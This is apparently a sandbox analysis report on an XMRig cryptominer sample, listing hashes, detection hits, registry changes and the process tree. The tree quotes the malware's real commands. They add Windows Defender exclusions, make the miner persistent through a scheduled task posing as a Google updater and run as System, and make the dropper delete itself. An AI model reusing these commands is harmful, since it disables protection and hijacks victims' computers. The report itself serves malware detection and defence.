xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1801s
max time network
1806s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Size 2.0MB
Sample240123-x59d7agbd6
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2572 created 3508	2572	Q5EUCWHU7pMYBfT3.exe	58
PID 2572 created 3508	2572	Q5EUCWHU7pMYBfT3.exe	58
PID 2572 created 3508	2572	Q5EUCWHU7pMYBfT3.exe	58
PID 2572 created 3508	2572	Q5EUCWHU7pMYBfT3.exe	58
PID 2444 created 3508	2444	updater.exe	58
PID 2444 created 3508	2444	updater.exe	58
PID 2444 created 3508	2444	updater.exe	58
PID 2444 created 3508	2444	updater.exe	58
PID 4072 created 3508	4072	conhost.exe	58
PID 2444 created 3508	2444	updater.exe	58

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral22/memory/3488-127-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-131-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-132-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-134-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-136-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-140-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-142-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-144-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-146-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-148-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-150-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-152-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-154-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-156-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-158-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-160-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-162-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-164-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-166-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-168-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-170-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-172-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-174-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-176-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-178-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-180-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-182-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-184-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-186-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig
behavioral22/memory/3488-188-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
2444	updater.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral22/memory/3488-124-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-127-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-131-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-132-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-134-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-136-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-140-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-142-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-144-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-146-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-148-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-150-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-152-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-154-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-156-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-158-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-160-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-162-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-164-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-166-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-168-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-170-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-172-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-174-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-176-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-178-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-180-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-182-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-184-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-186-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx
behavioral22/memory/3488-188-0x00007FF64C650000-0x00007FF64CE44000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2444 set thread context of 4072	2444	updater.exe	116
PID 2444 set thread context of 3488	2444	updater.exe	117

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	Q5EUCWHU7pMYBfT3.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3200	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe

Suspicious behavior: EnumeratesProcesses 31 IoCs

pid	Process
2572	Q5EUCWHU7pMYBfT3.exe
2572	Q5EUCWHU7pMYBfT3.exe
4672	powershell.exe
4672	powershell.exe
2572	Q5EUCWHU7pMYBfT3.exe
2572	Q5EUCWHU7pMYBfT3.exe
1600	powershell.exe
1600	powershell.exe
2572	Q5EUCWHU7pMYBfT3.exe
2572	Q5EUCWHU7pMYBfT3.exe
2572	Q5EUCWHU7pMYBfT3.exe
2572	Q5EUCWHU7pMYBfT3.exe
4176	powershell.exe
4176	powershell.exe
4176	powershell.exe
2444	updater.exe
2444	updater.exe
1568	powershell.exe
1568	powershell.exe
2444	updater.exe
2444	updater.exe
3728	powershell.exe
3728	powershell.exe
2444	updater.exe
2444	updater.exe
2444	updater.exe
2444	updater.exe
4072	conhost.exe
4072	conhost.exe
2444	updater.exe
2444	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
672	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4672	powershell.exe
Token: SeDebugPrivilege	1600	powershell.exe
Token: SeIncreaseQuotaPrivilege	1600	powershell.exe
Token: SeSecurityPrivilege	1600	powershell.exe
Token: SeTakeOwnershipPrivilege	1600	powershell.exe
Token: SeLoadDriverPrivilege	1600	powershell.exe
Token: SeSystemProfilePrivilege	1600	powershell.exe
Token: SeSystemtimePrivilege	1600	powershell.exe
Token: SeProfSingleProcessPrivilege	1600	powershell.exe
Token: SeIncBasePriorityPrivilege	1600	powershell.exe
Token: SeCreatePagefilePrivilege	1600	powershell.exe
Token: SeBackupPrivilege	1600	powershell.exe
Token: SeRestorePrivilege	1600	powershell.exe
Token: SeShutdownPrivilege	1600	powershell.exe
Token: SeDebugPrivilege	1600	powershell.exe
Token: SeSystemEnvironmentPrivilege	1600	powershell.exe
Token: SeRemoteShutdownPrivilege	1600	powershell.exe
Token: SeUndockPrivilege	1600	powershell.exe
Token: SeManageVolumePrivilege	1600	powershell.exe
Token: 33	1600	powershell.exe
Token: 34	1600	powershell.exe
Token: 35	1600	powershell.exe
Token: 36	1600	powershell.exe
Token: SeIncreaseQuotaPrivilege	1600	powershell.exe
Token: SeSecurityPrivilege	1600	powershell.exe
Token: SeTakeOwnershipPrivilege	1600	powershell.exe
Token: SeLoadDriverPrivilege	1600	powershell.exe
Token: SeSystemProfilePrivilege	1600	powershell.exe
Token: SeSystemtimePrivilege	1600	powershell.exe
Token: SeProfSingleProcessPrivilege	1600	powershell.exe
Token: SeIncBasePriorityPrivilege	1600	powershell.exe
Token: SeCreatePagefilePrivilege	1600	powershell.exe
Token: SeBackupPrivilege	1600	powershell.exe
Token: SeRestorePrivilege	1600	powershell.exe
Token: SeShutdownPrivilege	1600	powershell.exe
Token: SeDebugPrivilege	1600	powershell.exe
Token: SeSystemEnvironmentPrivilege	1600	powershell.exe
Token: SeRemoteShutdownPrivilege	1600	powershell.exe
Token: SeUndockPrivilege	1600	powershell.exe
Token: SeManageVolumePrivilege	1600	powershell.exe
Token: 33	1600	powershell.exe
Token: 34	1600	powershell.exe
Token: 35	1600	powershell.exe
Token: 36	1600	powershell.exe
Token: SeIncreaseQuotaPrivilege	1600	powershell.exe
Token: SeSecurityPrivilege	1600	powershell.exe
Token: SeTakeOwnershipPrivilege	1600	powershell.exe
Token: SeLoadDriverPrivilege	1600	powershell.exe
Token: SeSystemProfilePrivilege	1600	powershell.exe
Token: SeSystemtimePrivilege	1600	powershell.exe
Token: SeProfSingleProcessPrivilege	1600	powershell.exe
Token: SeIncBasePriorityPrivilege	1600	powershell.exe
Token: SeCreatePagefilePrivilege	1600	powershell.exe
Token: SeBackupPrivilege	1600	powershell.exe
Token: SeRestorePrivilege	1600	powershell.exe
Token: SeShutdownPrivilege	1600	powershell.exe
Token: SeDebugPrivilege	1600	powershell.exe
Token: SeSystemEnvironmentPrivilege	1600	powershell.exe
Token: SeRemoteShutdownPrivilege	1600	powershell.exe
Token: SeUndockPrivilege	1600	powershell.exe
Token: SeManageVolumePrivilege	1600	powershell.exe
Token: 33	1600	powershell.exe
Token: 34	1600	powershell.exe
Token: 35	1600	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2040 wrote to memory of 2004	2040	cmd.exe	103
PID 2040 wrote to memory of 2004	2040	cmd.exe	103
PID 4176 wrote to memory of 2748	4176	powershell.exe	104
PID 4176 wrote to memory of 2748	4176	powershell.exe	104
PID 2444 wrote to memory of 4072	2444	updater.exe	116
PID 1216 wrote to memory of 3200	1216	cmd.exe	112
PID 1216 wrote to memory of 3200	1216	cmd.exe	112
PID 2444 wrote to memory of 3488	2444	updater.exe	117

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3508
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1600
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2040
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4176
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3728
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2828
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1216
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:4072
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:3488

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2444

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
PID:3200

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 1.4MB
SHA256 b1b52aac61d2059caaa0655d32696cd63336badc1f859134a498fa3f1862b7b6
MD5 e55cf0fb890e0ec99a3d85ba67c7a373
SHA1 b968bdf9de0a4375ae546ef2dd1010e77abd83f9
SHA512 b73c438dea0a92ee975b6e9c3031985d66781ac769ac25c0c9e69a9164238fa54eb0e62a70ba205128e753525f1ce0b01c56e23924edbf6c47b7e07c8fb00a5b
SSDEEP 24576:rWVipGdVZjdqVC5jd88FC3bc+uxWV+i+JJi732RuzDhb6Kd5Fe12urmvDavvXkY7:rWVipAxqo5p88CbXuxWQiSJU320ZW21+
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 970KB
SHA256 3eb181d650598f60fe25fb48dffc9cc6c56bbda986dbc198cdd5f901460c5029
MD5 776f25c7309f10023f8f5cbc4858bc37
SHA1 4eaf0cfe755e1f6c9f168b61120a39bf2ed12259
SHA512 6d8413bf06db056f33102a5e8d857033fbcc6b0168256938cec988efe7040787844381bde92100efd3cc8d5ef52580d97a456e1bfc04c9c7c22389427a1ec0f5
